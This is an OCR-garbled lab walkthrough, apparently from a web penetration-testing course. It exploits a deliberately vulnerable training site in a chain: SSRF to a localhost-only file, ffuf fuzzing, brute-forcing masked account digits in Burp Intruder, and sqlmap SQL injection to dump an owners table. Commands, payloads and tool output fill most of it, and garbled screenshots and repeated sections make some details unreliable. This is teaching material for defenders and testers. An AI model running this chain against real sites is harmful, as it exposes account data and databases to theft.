6. The target web application is available at http://sec542.0rg:9000.

Challenges

* The web site available at http://sec542.0rg:9000 was previously used to host a mobile transaction system; some artefacts could

still be lying around.

* Due to this there are some faulty scripts that will not run, but that might leak some information
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* Fuzz a bit. That's why we have the SecLists Discovery and Fuzzing repositories under /opt/SecLists.
* raft is agood source
* There is a file that is available only from localhost
+ Due to GDPR, accounts will be masked (the site is in EU). But we can fuzz/brute force missing digits.
* Burp Intruder will be helpful
+ Cookies are used for session handling

+ Watch for that injection
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Solution

1. The web page is located at http://sec542.0rg:9000 , and it does not have a lot of content - the only link goes to Wikipedia.
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secs42.0rg:9000/, * ‘ -+

« = O lo B sec542.0rg:o000

Marvin's web site has been retired.
For information go to Wikipedia web page

Have fun!

2. Open the web page’s source code with Ct r1-U toseeifthereis anything suspicious there.
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http:/sec542.0rg:9000/ x | +

> c Q I& view-source:http://sec542.0rg:9000/

<html>
Marvin's web site has been retired.<br>
For information go to <a href="https://en.wikipedia.org/wiki/Marvin_the Paranoid Android'>Wikipedia web page</a>
<br><br>
Have fun!
<br><br>
<img src='/image get module.php?url=http://127.8.8.1/marvin.jpg"'>
</html>

Notice the link used to fetch the image:

o http://sec542.0rg:9000/image get module.php?url=http://127.0.0.1/marvin.jp

o]

This is a potential SSRF vulnerability — it appears even that the (potentially vulnerable)
script is fetching something from 127.0.0.1, which is localhost, and not reachable to us
—in this lab it is running in a Docker container, in the real world this would be behind a
firewall.
We still need to find what to exploit with it. If we try to fetch the
image get module.php file we don’'t get anything back, which means that we need
to find another target for the SSRF.
Perform a forced browsing attack against the web site by using the £fuf tool.
The raft-large-directories-lowercase.txt should be good enough for this
initial forced browsing attack.
Type the following command (all in one line):
ffuf -w /opt/seclists/Discovery/Web-Content/raft-medium-files-
lowercase.txt -u http://sec542.0rg:9000/FUZZ

Terminal - student@secsaz: - - 4 x
Fle Edt Wiew Terminal Tabs Help
[-1% ffuf -w /opt/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://sec542.0rg:90080/FUZZ

FE FANA Y
NN /AN NN/
AN WA L WAV Y, N
MY NN AN NN AN
L e SO FN MY
NS N_LON_ 4T
vl.5.0
1t Method : GET
i: URL i http://sec542.0rg:9008/FUZZ
1t Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/raft-large-directories.txt
+: Follow redirects : false
i: Calibration : false
:: Timeout : 18
:: Threads 140
:: Matcher : Response status: 200,204,301,302,307,461,463,485,500
phpmyadmin [Status: 301, Size: 328, Words: 26, Lines: 10, Duration: 6ms]
server-status [Status: 463, Size: 277, Words: 20, Lines: 18, Duration: ems]

[Status: 2080, Size: 268, Words: 15, Lines: 9, Duration: Sms]
[Status: 200, Size: 268, Words: 15, Lines: 9, Duration: 6ms]
marvin [Status: 200, Size: 117986, Words: 452, Lines: 374, Duration: Oms]
[Status: 200, Size: 268, Words: 15, Lines: 9, Duration: 5ms)
o Priqress: [62284/62284] :: Job [1/1] :: 2753 req/sec :: Duration: [0:00:10] :: Errors: 3 ::
[-1s

Our attempt will result in several interesting directories/files, let's try to retrieve them:
o hitp://sec542.0rg:9000/phpmyadmin/ results in a PHPMyAdmin interface, but
we do not have credentials for it. This might be useful later
o http://sec542.0rg:9000/server-status results in Forbidden
o http://sec542.0rg:9000/marvin - this is Marvin's JPEG.
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3 Notice the link used to fetch the image:

* http://sec542.0rg:9000/image_get_module.php?url=http://127.0.0.1/marvin.jpg

4. This is a potential SSRF vulnerability — it appears even that the (potentially vulnerable) script is fetching something from 127 «© .0 . 1 , which is localhost, and not reachable to

us - in this lab it is running in a Docker container, in the real world this would be behind a firewall.

5- We still need to find what to exploit with it. If we try to fetch the 'image_get_modu'le . php file we don’t get anything back, which means that we need to find another
target for the SSRF.

6. perform a forced browsing attack against the web site by using the FFuf tool.

7-The raft-la rge-directories.txt shouldbe good enoughfor this initial forced browsing attack. Type the following command:

ffuf -w /opt/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://
sec542.0rg:9000/FUZZ

i Terminal - student@sec542: - =
File Edit view Terminal Tabs Help
[~1$ ffuf -w /opt/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://sec542.0rg:9000/FUZZ

A N Y SN
AN NN N
B R S SRV AR VAT S U SO
NN NN NN NN NN NN T
XA AT RN AN
AV AV S V] N/ /
v1.5.0
:: Method t GET
11 URL : http://sec542.0rg:9000/FUZZ
i1 Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/raft-large-directories.txt
:1 Follow redirects : false
:: Calibration : false
:i Timeout ¢ 10
1t Threads : 40
. Matcher : Response status: 200,204,301,302,307,401,403,485,500
phpmyadmin [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: Oms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: Oms]

[Status: 200, Size: 268, Words: 15, Lines: 9, Duration: 9ms]
[Status: 200, Size: 268, Words: 15, Lines: 9, Duration: 6ms]

marvin [Status: 200, Size: 117986, Words: 452, Lines: 374, Duration: Oms]
[Status: 200, Size: 268, Words: 15, Lines: 9, Duration: 5ms]

:: Progress: [62284/62284] :: Job [1/1] :: 2753 req/sec :: Duration: [0:00:10] :: Errors: 3 ::

[-1%

©

. Our attempt will result in several interesting directories/files, let’s try to retrieve them:

« http://sec542.0rg:9000/phpmyadmin/ results in a PHPMyAdmin interface, but we do not have credentials for it. This might be useful later

« http://sec542.0rg:9000/server-status results in Forbidden
« http://sec542.0rg:9000/marvin - this is Marvin's JPEG.

O

“ Not much luck with directories. However, the raft-large-directories-lowercase.txt mighthave missed some files. We should re-run the forced

browsing attack on both directories with a list that contains files - for that, raft-medium-files-lowercase.txt should work OK. Type the following

command:

ffuf -w /opt/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://
workshop/FUZZ
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A Terminal - student@sec542: ~ =%
File Edit View Terminal Tabs Help
[~1% ffuf -w /opt/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://sec542.0rg:9000/FUZZ

N A\
FNINENINS A NN
NN o NN, ONANONARON AN X
N SE Y AN N e e N
NN NN NN NN
N S RO N N/
vl.5.0
:: Method + GET
URL : http://sec542.0rg:9000/FUZZ
Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
Follow redirects : false
Calibration : false
Timeout : 10
Threads 1 40
:: Matcher : Response status: 200,204,301,302,307,461,403,405,500
index.php [Status: 200, Size: 268, Words: 15, Lines: 9, Duration: 2ms]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 1ms]
g [Status: 200, Size: 268, Words: 15, Lines: 9, Duration: 1lms]
.html [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 1ms]
.php [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 1ms]
.htpasswd [Status: 403, Size: 277, Words: 28, Lines: 10, Duration: Oms]
htm [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: Oms]
.htpasswds [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 1ms]
local.php [Status: 200, Size: 52, Words: 7, Lines: 5, Duration: 1ms]
.htgroup [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 1ms]
wp-forum.phps [Status: 403, Size: 277, Words: 20, Lipes: 10, Duration: ©@ms]
.htaccess.bak [Status: 403, Size: 277, Words: 26, Lines: 10, Duration: Oms]
.htuser [Status: 403, Size: 277, Words: 26, Lines: 10, Duration: 1ms]
.ht [Status: 403, Size: 277, Words: 28, Lines: 10, Duration: Oms]
Jte [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 2ms]
i Prigress: [16244/16244] :: Job [1/1] :: 430 req/sec :: Duration: [0:00:04] :: Errors: @ ::
[~]$

10- There is one result with status code 200 here - Loca'l. php ! Try to access it with a browser, http://sec542.0rg:9000/local.php.

sec542.0rgro000/local. php * —+

« - C @ | O 8 sec542.0rg:9000

Access allowed only from localhost for security.

11. Apparently the file allows only access from localhost - but we have a way around that — remember that in the top level file we identified a SSRF vulnerability that we can potentially

abuse to fetch this file ( Local . php ) locally.

12. Fetch the contents of http://sec542.0rg:9000/image_get_module.php?url=http://127.0.0.1/local.php with your browser or €U rl, asbelow.

curl http://sec542.0rg:9000/image_get_module.php?url=http://127.0.0.1/1local.php

v Terminal - student@sec542: ~
File Edit View Terminal Tabs Help
[~]% curl http://sec542.0rg:9000/image_get module.php?url=http://127.0.0.1/local.php

Environment dump:

file: mobileconfig/getmobiletransactions.php

Parameters:
AUTH=2c7af4880f56ec7lcab%5bBe5aB84a3ce
1d=102932212339xxxx (last 4 characters masked for GDPR)

</htmi>[~1%

<html><br><br><br>PHP Parse error: syntax error, unexpected '::' (T MOBILEAPI CONFIG ERROR) in php shell code on line 1

13. Nice, so this is an error handling/information leakage vulnerability — probably an artefact from a site that was previously used. The error also leaks a potential local path that we can

now try accessing either with a browser or witha CU r'l command. Type the following command:

curl http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php
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Terminal - student@sec542: ~

e

File Edit View Terminal Tabs Help
[~]1% curl http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php
\Authentication failed, AUTH cookie is missing.[~]$%

14. Apparently, we are missing the AUTH cookie. Since thereisan AUTH parameter in the error handling leak above, we can try using the same cookie with curl from command

line. You can also try adding the cookie in Burp if you are using it to proxy HTTP requests. Type the following command:

curl "http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php" --cookie
"AUTH=2c7af4880f56ec71cab95bh8e5a84a3ce"

[ Terminal - student@sec542: ~

File Edit View Terminal Tabs Help
[~]$ curl "http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php” --cookie "AUTH=2c7af4880f56ec71cab95b8e5a84a3ce”

‘Error, the account number must be set in the id parameter![-]$

15. We're getting somewhere. Apparently, we need to supply the id parameter. The error handling leak above showed part of the Jd with the last 4 characters masked for GDPR —

we might have to brute force valid numbers here. But let’s first see what we get when we supply the id parameter. Type the following command:

curl "http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php?id=102932212339xxxx" --
cookie "AUTH=2c7af4880f56ec71lcab95b8e5a84a3ce"

Terminal - student@sec542: ~ =X

File Edit View Terminal Tabs Help
[~1% curl "http://secb542.0rg:9000/mobileconfig/getmobiletransactions.php?id=102932212339xxxx"
4a3ce"

--cookie "AUTH=2c7af4880f56ec71lcab95b8eba8

<!DOCTYPE html>
<html>

<head>

<title>List of your transactions</title>

<link href="style.css" rel="stylesheet" type="text/css">
</head>

<body>

<div id="index">

<b id="welcome">Welcome : <i>

</i></b>

<br><br>

Here is the list of transactions for your account 102932212339xxxx:<br><br>
<ul>

<br>No transactions found.<br></ul>

<b id="logout"><a href="index.php">Go back</a></b>
</div>

</body>

</html>

~1s i

16. We got a response! But there are no transactions listed, probably because the account submitted in the id parameter did not exist. The last 4 digits mean that there are a
maximum of 10000 requests that we need to brute force, and this is indeed doable. We can do that with Burp’s Intruder module.

17. Switch to your Firefox browser and open the last URL http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php?id=102932212339xxxx to seed Burp.

18. As expected, we'll get a message that the AUTH  cookie is missing.

sec542.0rg:9000/mobileconfigiar X | 4

getmobiletransactions.php?id=10293221233%%xxx

&~ = O 1o |O 8 secs42.0rg:2000/mobileconfic

Authentication failed, AUTH cookie is missing.

19. Find the request in the History tab, click on it and send it to Intruder.
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- » 39 Temporary Institute - 763821 21039562c438078c204 [1 user license] -+
Burp Project Intruder Repeater Window Help
Dashboard  Target Proxy Intruder Repeater —Sequencer Decoder Comparer Logger Extender Projectoptions Useroptions  Learn
Intercept  HTTP history ~ WebSockets history ~ Options
Logging of out-of-scope Proxy traffic is disabled | Re-enable
Filter: Hiding CSS, image and general binary content |®
# Host Method URL Params Edited  Status  Length MIME type Extension Title Comment
8 http://sec542.0rg:9000 GET /mobilec i id=1 12339XXXX v 200 213 text php
7 http://sec542.0rg:9000 GET /mobileconfig/getmobiletransactions.php?id=102932212339xxxx v 200 213 text php
5 http://sec542.0rg:9000 GET /local.php 200 219 script php
2 http://sec542.0rg:9000 GET / 200 459 HTML
1 https://workbook.sec542.org ~ GET / 200 25500 HTML SANS SEC542 Workbook
L} -
Request Response Inspector = - & X
pretty: TRawWl| HEx =  pretty Raw Hex Render = Request Attributes D v
1 GET /mobileconfig/getmobiletransactions.php?id=102932212339xxxx 1HTTP/1.1 200 OK
HTTP/1.1 2 Date: Tue, 05 Jul 2022 13:54:04 GMT Request Query Parameters 1 v
2 Host: sec542.0rg:9000 3 Server: Apache/2.4.29 (Ubuntu)
3 User-Agent: MnZi'!lE/S.G (X11; Ubuntu; Linux x86_64; rv:101.0) 4C0ntenttLength: 46 Request Headers v
Gecko/20100101 Firefox/101.0 5 Connection: close
4 Accept: 6 Content-Type: text/html; charset=UTF-8 = — D -
text/html, application/xhtml+xml, application/xml;q=0.9,image/avif,i 7 esponsehieacers
mage/webp, */*;q=0.8 8 Authentication failed, AUTH cookie is missing.
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade- Insecure-Requests: 1 —
9
10 Do passive scan
Do active scan
Send to Intruder Ctri+l
Send to Repeater ctri+R
Send to Sequencer
Send to Comparer
Send to Decoder
4 Show response in browser
@B €] > [search Request in browser | @8 € > [search 0 matches
W FEr tools > .
Copy URL
Copy as curl command
Copy to file
Save item
Convert selection
Cut
Copy
paste Ceri+v

Message editor documentation
Proxy history documentation

20- | Intruder, add the AUTH=2c7af4880f56ec71cab95b8e5a84a3ce cookie and select the last 4 digits ( XXXX characters) for fuzzing.

2 Burp Surte Professionsl v2022.3.9 - Temporary Froject - liconwd to SANS Instituty - 763821.21039502c438078<204 [1 user licenae] -+ % ‘
urp Project Intruder Repeater Window Hel |
B Project Intruder Re Wind Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options Useroptions Learn
Te|2=|3x| &

Positions  Payloads  Resource Pool  Options

® Choose an attack type

Attack type: | Sniper

@ Payload Positions

Configure the positions where payloads will be inserted, they can be added inta the target as well as the base request.

Add §
Target: | http:/sec542.0rg:9000 B Update Host header to match target
Clear §
1 GET /mobileconfig/getmobiletransactions,php?id=1029322123: P/1.1
2 Host: sec542,org: 9000 Auto §

3 User-Agent: Mozilla/5.6 (X11; Ubuntu; Linux x86_64; rv:101.0) Gecko/20100161 Firefox/101.0

4 Accept: text/html, application/xhtml+xml,application/xml;q=0 9, image/avif, image/webp, */*;q=0.8 Refresh

5 Accept-Language: en-US, en;q=B.5

G Accept-Encoding: gzip, deflate

7 Connection: close
Ingrad 2

[ Cookie: AUTH=2c7af4880f56ec71lcab95hBasasiadce

11

O@ €3

1 payload position Length: 249

omatches | clear

21. Switch to Payloads and select the following:

+ Payload type: Numbers

"From: 1
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"To: 9999
“Step: 1

* Min integer digits: 4

P Sui 39 Temporary Proj i 7 user fieense} -+

Burp Project Intruder Repeater Window Help
Dashboard Target Proxy Intruder Repeater Seguencer Decoder Comparer Logger Extender  Project options  Useroptions  Learn
1= ||@=

Positions  Payloads  ResourcePool  Options

@ Payload Sets m

You can define one or mare payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized
in different ways.

Payload set: 1 - Payload count: 9,999
| Payload type: Numbers IRequEst count: 9,999
@ Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Numiber range

Type: O sequential | Random
From: 1

To: 9999

Step: 1

How many:

Number forma

Base: Qe Hex

Min integer di
Max integer digresT

Min fraction digits:

Max fraction digits:

Examples

0001.1

987654321.1234568

22. Click on Start Attack. Since all requests result in Status code 200, sort by Length, descending to see if you got any results - there should be few.
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v 4. Intruder attack of http://sec542.0rg:9000 - Temporary attack - Not saved to project file e d
Attack Save Columns
Results  Positions  Payloads  Resource Pool  Options
Filter: Showing all items ‘@
Request Payload Status Error  Timeout Length Comment

4505 4505 200 930
4511 4511 200 654

0 200 591

1 0001 200 587

2 0002 200 587

3 0003 200 587

4 0004 200 587

5 0005 200 587

6 0006 200 587

7 0007 200 587

8 0008 200 587

9 0009 200 587

Finished

23 We found two valid numbers! Check the response with  cUr L . Type the following command:

curl "http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php?id=1029322123394505" --
cookie "AUTH=2c7af4880f56ec71lcab95b8e5a84a3ce"

- Terminal - student@sec542; -
File Edit View Terminal Tabs Help

[~1% curl "http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php?id=1029322123394505" --cookie "AUTH=2c7af4880f56ec7lcab95b8e5a8
4a3ce"

<!DOCTYPE html>

<html>

<head>

<title>List of your transactions</title>

<link href="style.css" rel="stylesheet" type="text/css">

</head>

<body>

<div id="index">

<b id="welcome">Welcome : <i>

</i></b>

<br><br>

Here is the list of transactions for your account 1829322123394505:<br><br>

<ul>

Source: 1029322123394505, Destination: 10203221233945081, Amount: 43.53, Date: 2018-02-0l<br=Source: 1029322123394505, Destination: 10293
22123394508, Amount: 244.54, Date: 2018-02-02<br>Source: 1029322123394505, Destination: 1029322123394511, Amount: 8271.11, Date: 2018-02
-04<br=Source: 1029322123394505, Destination: 1029322123394511, Amount: 112, Date: 2018-02-06<br></ul>
<b id="logout"><a href="index.php">Go back</a></b>

</div>

</body>

</html>

~1s i

24. Definitely looks like it is working. Not much information though, however we have a valid parameter and it looks as if the application is using a database to fetch this information.

This means that we can use sqlmap to test if there are any SQL injection vulnerabilities. Type the following command (pressing Enter when prompted):
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sqlmap --cookie "AUTH=2c7af4880f56ec71cab95b8e5a84a3ce" -u "http://sec542.0rg:9000/
mobileconfig/getmobiletransactions.php?i1d=1029322123394511" -p 1id

T Terminal - student@sec542: ~ = 5o e
File Edit View Terminal Tabs Help

[~]1% sqlmap --cookie "AUTH=2c7af4880f56ec7lcab95b8e5a84a3ce” -u "http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php?id=102932
2123394511" -p id

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage c
aused by this program

[*] starting @ 14:00:59 /2022-07-05/

[14:01:680] [INFO0] testing connection to the target URL

[14:01:00] [INFO] checking if the target is protected by some kind of WAF/IPS

[14:01:00] [INFO] testing if the target URL content is stable

[14:01:00] [INFO] target URL content is stable

[14:01:00] [ ] heuristic (basic) test shows that GET parameter ' ' might not be injectable
[14:01:00] [INFO] testing for SQL 1n}ect10n on GET parameter rid’

[14:01:00]1 [INFO] testing ' I e

[14:01:00] [WARNING] reﬂectlve value(s) found and fllterlng out

[14:01:00] [INFO] testing

[14:01:00] [INFO] testing '

[14:01:00] [INFO] testing
[14:01:01] [INFO] testing T - E
[14:01:01] [INFO] testing 'Or erre { € pe)"
[14:01:01] [INFO] testing
[14:01:01] [INFO] testing
[14:01:01] [INFO] testing
[14:01:01] [INFO] testing ' ta ! S

[14:01:01] [INFO] testing ' | me i (qu LEEP) *
[14:01:01] [INFO] testing L 1 Al b1
[14:01:01] [INFO] testing
[14:01:01] [INFO] testing 4

it is recommended to perfnrm only basic UNIDN tests if there is not at least one other (potential) technique found. Do you want to reduc
e the number of requests? [Y/n]

[14:01:03] [INFO] testing ' e t 2

[14:01:03] [ ] GET parameter ' ' does not seem to be injectable
[14:01:03] [} ] all tested parameters do not appear to be injectable. Try to increase values for ' bt ' options if you
wish to perform more tests. If you suspect that there is some kind of protection mechanlsm involved (e.g. WAF) maybe you could try to u

se option ' ' (e.g. * :nt') and/or switch ' =
[*] ending @ 14:01:83 /2022-07-05/
~15 il U

25 Hm. sqlmap did not find anything. There is a hint though - sqlmap told us to try to increase values for the Leve'L option if we want to perform more tests. Maybe the

application is using some kind of a WAF, or simply the SQL query in the background is complex and sqlmap failed in exploiting it. Let’s try with the same command, but with

level setto 3 ,whichis areasonable value. Type the following command (pressing Enter each time your are prompted):

sqlmap --cookie "AUTH=2c7af4880f56ec71lcab95b8e5a84a3ce" -u "http://sec542.0rg:9000/
mobileconfig/getmobiletransactions.php?id=1029322123394511" -p id --level 3

26. sq'lmap will now perform way more tests and it will take longer, but it looks promising. Select default answers for all questions, until sqimap finishes.
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N Terminal - student@sec542: - = 4 X
File Edit View Terminal Tabs Help

[14:02:50] [INFO] GET parameter ' ' appears to be ' ' injectable

[14:02:50] [INFO] testing 'Ge I t L

[14:02:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) te
chnique found

[14:02:50] [INFO] testing
[14:02:50] [INFO] testing
[14:02:50] [INFO] testing
[14:02:50] [INFO] testing
[14:02:51] [INFO] testing Y L 1 2 C
[14:02:51] [INFO] * ER ' technique appears to be usable. This should reduce the time needed to find the right number of query column
s. Automatically extending the range for current UNION query injection technique test

[14:02:51] [INFO] target URL appears to have 5 columns in query

do you want to (re)try to find proper UNION column types with fuzzy test? [y/N]

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]

[14:02:56] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. ' ibm

[14:02:56] [INFO] testing ' ! ] t 2 '

[14:02:56] [INFO] testing
[14:02:56] [INFO] testing
[14:02:57] [INFO] testing
[14:02:57] [INFO] testing
[14:02:57] [INFO] testing
[14:02:57] [INFO] testing
[14:02:57] [INFO] testing
[14:02:57] [INFO] testing : JUE umt
[14:02:58] [INFO] checking if the injection point on GET parameter is a false positive
GET parameter 'id’' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sglmap identified the following injection point(s) with a total of 793 HTTP(s) requests:

Parameter: id (GET)
Type: boolean-based blind
Title: HAVING boolean-based blind - WHERE, GROUP BY clause
Payload: id=1029322123394511 HAVING 6215=6215

Type: time-based blind
Title: MySQL > 5.0.12 OR time-based blind (heavy query)
Payload: 1d=1029322123394511 OR 8504=(SELECT COUNT(*) FROM INFORMATION SCHEMA.COLUMNS A, INFORMATION_ SCHEMA.COLUMNS B, INFORMATION_ S
CHEMA . COLUMNS C)
[14:03:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.84 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL > 5.0.12
[14:03:80] [INFO] fetched data logged to text files under ' £ t 1 ]!

[*] ending @ 14:03:00 /2022-07-05/ H
-1s Il

27. Time to dump databases now. Type the following command:

sqlmap --cookie "AUTH=2c7af4880f56ec71cab95b8e5a84a3ce" -u "http://sec542.0rg:9000/
mobileconfig/getmobiletransactions.php?id=1029322123394511" -p id —-level 3 --dbs
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= Terminal - student@sec542: ~ - + x
Fle Edit  View Terminal Tabs Help

[~1$ sglmap --cookie “"AUTH=2c7af4880f56ec7lcab95b8e5a84a3ce"” -u "http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php?id=102932
2123394511" -p id --level 3 --dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage c
aused by this program

[*] starting @ 14:03:47 /2022-07-05/

[14:83:47] [INFO] resuming back-end DBMS ' i
[14:03:47] [INF0] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: HAVING boolean-based blind - WHERE, GROUP BY clause
Payload: 1d=1029322123394511 HAVING 6215=6215

Type: time-based blind
Title: MySQL > 5.8.12 OR time-based blind (heavy query)
Payload: id=1029322123394511 OR 8504=(SELECT COUNT(*) FROM INFORMATION SCHEMA.COLUMNS A, INFORMATION SCHEMA.COLUMNS B, INFORMATION S
CHEMA. COLUMNS C)
[14:03:47] [INFO] the back-end DBMS is MySQOL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL > 5.8.12
[14:03:47] [INFO] fetching database names
[14:03:47] [INFO] fetching number of databases
[14:03:47] [WARNING] running in a single-thread mode. Please consider usage of option ' ads' for faster data retrieval
[14:03:47] [INFO] retrieved:
[14:03:47] [WARNING] reflective value(s) found and filtering out
5
[14:03:47] [INFO] retrieved: information schema
[14:03:48] [INFO] retrieved: acmesql
[14:03:48] [INFO] retrieved: mysql
[14:03:48] [INFO] retrieved: performance_ schema
[14:03:49] [INFO] retrieved: sys
available databases [5]:
[*] acmesqgl
[*] information_schema
[*] mysql
[*] performance schema
[*] sys

[14:03:49] [INFO] fetched data logged to text files under '
[*] ending @ 14:03:49 /2022-07-05/
[SEN |

28 The acmesq'l. database looks interesting, let's dump its tables. Type the following command:

sqlmap --cookie "AUTH=2c7af4880f56ec71lcab95b8e5a84a3ce" -u "http://sec542.0rg:9000/
mobileconfig/getmobiletransactions.php?i1d=1029322123394511" -p id —--level 3 -D acmesql --
tables
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> Terminal - student@sec542: ~ - + X
File Edit View Terminal Tabs Help

[~]1$ sqlmap --cookie "AUTH=2c7af4880f56ec7lcab95b8e5a84a3ce” -u "http://sec542.0rg:9000/mobileconfig/getmobiletransactions.php?id=102932
2123394511" -p id --level 3 -D acmesql --tables

[!'] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage c
aused by this program

[*] starting @ 14:04:30 /2022-07-05/

[14:84:30] [INFO] resuming back-end DBMS ' '
[14:04:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: HAVING boolean-based blind - WHERE, GROUP BY clause
Payload: 1d=1029322123394511 HAVING 6215=6215

Type: time-based blind
Title: MySQL > 5.8.12 OR time-based blind (heavy query)
Payload: 1d=1029322123394511 OR 8504=(SELECT COUNT(*) FROM INFORMATION SCHEMA.COLUMNS A, INFORMATION SCHEMA.COLUMNS B, INFORMATION S
CHEMA. COLUMNS C)
[14:04:36] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL > 5.0.12
[14:84:30] [INFO] fetching tables for database: ' € !
[14:04:30] [INFO] fetching number of tables for database ' i
[14:04:30] [WARNING] running in a single-thread mode. Please consider usage of option ' ' for faster data retrieval
[14:04:38] [INFO] retrieved:
[14:04:36] [WARNING] reflective value(s) found and filtering out
2
[14:04:30] [INFO] retrieved: owners
[14:04:30] [INFO] retrieved: transactions
Database: acmesgl

[2 tables]

hemm e e +
| owners

| transactions |
om e +

[14:04:31] [INFO] fetched data logged to text files under ' - | ec542
[*]1 ending @ 14:04:31 /2022-07-05/

-15 0l

29 The owners tableis there! Let's dump it finally. Type the following command:
sqlmap --cookie "AUTH=2c7af4880f56ec71lcab95b8e5a84a3ce" -u "http://sec542.0rg:9000/
mobileconfig/getmobiletransactions.php?id=1029322123394511" -p id --level 3 -D acmesql -T

owners —--dump

30. Due to specific SQL queries used, sq'Lmap will not be able to dump column names. However, by selecting the common column existence check we can brute force them and

finally dump the table. Answer Y for the common column existence check, use the default dictionary, and use one thread as shown below:
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31.

2 g Terminal - student@sec542: ~ - + X
File Edit View Terminal Tabs Help

[~1% sglmap --cookie "AUTH=2c7af4880f56ec7lcab95b8e5a84a3ce” -u "http://sec542.0rg:9008/mobileconfig/getmobiletransactions.php?id=102932
2123394511" -p id --level 3 -D acmesql -T owners --dump

I

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility
to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage c
aused by this program

[*] starting @ 14:05:16 /2022-07-05/

[14:85:16] [INFO] resuming back-end DBMS ' &
[14:05:16] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: HAVING boolean-based blind - WHERE, GROUP BY clause
Payload: id=1029322123394511 HAVING 6215=6215

Type: time-based blind
Title: MySQL > 5.0.12 OR time-based blind (heavy query)
Payload: i1d=1029322123394511 OR 8504=(SELECT COUNT(*) FROM INFORMATION SCHEMA.COLUMNS A, INFORMATION SCHEMA.COLUMNS B, INFORMATION S
CHEMA . COLUMNS C)
[14:85:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL > 5.0.12
[14:05:16] [INFO] fetching columns for table ' € ' in database * -
[14:05:16] [WARNING] running in a single-thread mode. Please consider usage of option ' ' for faster data retrieval
[14:05:16] [INFO] retrieved:
[14:05:17] [WARNING] reflective value(s) found and filtering out

[14:65:17] [WARNING] time-based comparison requires larger statistical model, please wait.............coiuiuvincnnns (done)
[14:05:17] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential
disruptions

[14:05:17] [WARNING] in case of continuous data retrieval problems you are advised to try a switch ' * or switch * ‘
[14:05:17] [ERROR] unable to retrieve the number of columns for table 'o r=' in database ' i
[14:05:17] [WARNING] unable to retrieve column names for table ' ' in database ' '

do you want to use common column existence check? [y/N/q] y

which common columns (wordlist) file do you want to use?

[1] default '/usr/share/sqlmap/data/txt/common-columns.txt' (press Enter)
[2] custom

> 1

sqlmap will successfully fetch the column names, and the table contents revealing account status of those famous TV stars.
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A Terminal - student@sec542: ~ = & x
File Edit View Terminal Tabs Help

[14:05:17] [WARNING] in case of continuous data retrieval problems you are advised to try a switch ' ' or switch '
[14:05:17] [ERROR] unable to retrieve the number of columns for table ' ' in database '
[14:05:17] [WARNING] unable to retrieve column names for table ' r<' in database '

do you want to use common column existence check? [y/N/q] y

which common columns (wordlist) file do you want to use?

[1] default '/usr/share/sqlmap/data/txt/common-columns.txt' (press Enter)

[2] custom

> 1

[14:05:46] [INFO] checking column existence using items from ' T 1 3 jata/txt/ txt”
[14:05:46] [INFO] adding words used on web page to the check list

please enter number of threads? [Enter for 1 (current)]

